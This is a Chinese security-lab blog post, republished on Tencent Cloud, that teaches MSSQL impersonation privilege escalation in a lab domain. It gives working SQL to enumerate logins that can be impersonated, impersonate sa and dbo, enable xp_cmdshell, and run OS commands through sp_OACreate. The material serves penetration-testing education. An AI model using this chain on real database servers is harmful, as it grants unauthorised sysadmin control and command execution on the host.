前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用MSSQL模拟提权

利用MSSQL模拟提权

作者头像
Ms08067安全实验室
发布2024-06-25 15:21:04
940
发布2024-06-25 15:21:04
举报

在MS SQL数据库,可以使用EXECUTE AS语句,以其他用户的上下文执行SQL查询。需要注意的是只有明确授予模拟(Impersonate)权限的用户才能执行这个语句。这个权限对于多数用户不是默认配置,但是数据库管理员可能因为误配置导致权限提升。

这里为了演示利用MSSQL模拟提权的概念,我们在运行在dev-DC01的SQL数据库引入了一个误配置的模拟权限。有两种方式可以使用模拟。第一种方式是使用EXECUTE AS LOGIN语句在登录级别模拟不同的用户。第二种方式是在用户级别用EXECUTE AS USER语句来完成。

首先我们演示在登录级别的模拟。由于我们是低权限用户,我们无法枚举当前用户可以模拟哪个用户,但是可以枚举哪个用户可以被模拟。可通过如下查询获得哪个用户可以被模拟的信息:

代码语言:javascript
复制
set instance dev-dc01.dev.ms08067.cn
USE master;
go
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
go

枚举可被模拟的用户

从ESC工具的输出可以看到sa用户可被模拟,虽然无法判断哪个用户允许模拟成sa。在测试过程,可以使用我们有权限的用户直接尝试。我们首先使用EXECUTE AS LOGIN进行测试:

代码语言:javascript
复制
set instance dev-dc01.dev.ms08067.cn
SELECT SYSTEM_USER;
go
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
go

EXECUTE AS LOGIN模拟测试

从输出可以看到我们当前用户dev\dave可以模拟成sa,也就意味着当前用户有数据库管理员权限。

我们也可以模拟一个数据库用户,但是要进行权限提升,需要满足两个条件。首先模拟的其他用户需要有必要的权限,比如sysadmin角色。此外,因为数据库用户只能在特定数据库执行操作,要实现入侵数据库服务器,我们要模拟的用户需要在对应数据库设置了TRUSTWORTHY属性。仅原生的数据库msdb启用了这个属性。

要演示这个权限提升技术,guest用户必须在msdb授予模拟dbo的权限。

要执行模拟测试,首先切换到msdb数据,然后执行"EXECUTE AS USER"语句。通过USER_NAME()可以看到当前用户的上下文:

代码语言:javascript
复制
use msdb;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME();
go

EXECUTE AS USER模拟

从输出可以看到,当前用户也有权限模拟成dbo用户,也就是获得了sysadmin权限。

在我们获得了sysadmin权限后,可以尝试在数据库服务器执行命令。比较常用的方法是使用xp_cmdshell存储过程。但是因为xp_cmdshell比较常用,所以可能被禁用或者监控,此时,我们也可以尝试使用其他的存储过程,比如sp_OACreate。

我们先尝试使用xp_cmdshell执行命令。从SQL 2005开始,xp_cmdshell默认被禁用。如果有sysadmin角色权限的话,可以使用advanced options和sp_configure存储过程启用。我们先模拟sa,然后使用sp_configure激活advanced options并启用xp_cmdshell:

代码语言:javascript
复制
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell whoami
go

启用xp_cmdshell

从输出可以看到成功在数据库服务器启用xp_cmdshell并执行了命令。后续如果想要执行其他命令,需要先执行EXECUTE AS LOGIN = 'sa':

xp_cmdshell执行命令

如果要禁用xp_cmdshell,可用如下命令:

代码语言:javascript
复制
EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;          

如果xp_cmdshell不可用,我们也可以使用sp_OACreate和sp_OAMethod存储过程,来创建和执行一个基于Object Linking and Embedding(OLE)的新存储过程。需要注意的是这个方法的命令执行结果不会回显。

在执行OLE-based存储过程前,我们需要确保"OLE Automation Procedures"设置启用,默认是禁用的,我们以使用sp_configure修改这个设置。

代码语言:javascript
复制
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @myshell INT;
EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT;
EXEC sp_oamethod @myshell, 'run', null, 'cmd /c ipconfig > c:\Tools\ip.txt';
go

sp_OACreate命令执行

命令执行完后,我们在服务器查看,可以看到在数据库服务器成功执行ipconfig:

sp_OACreate命令执行结果

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档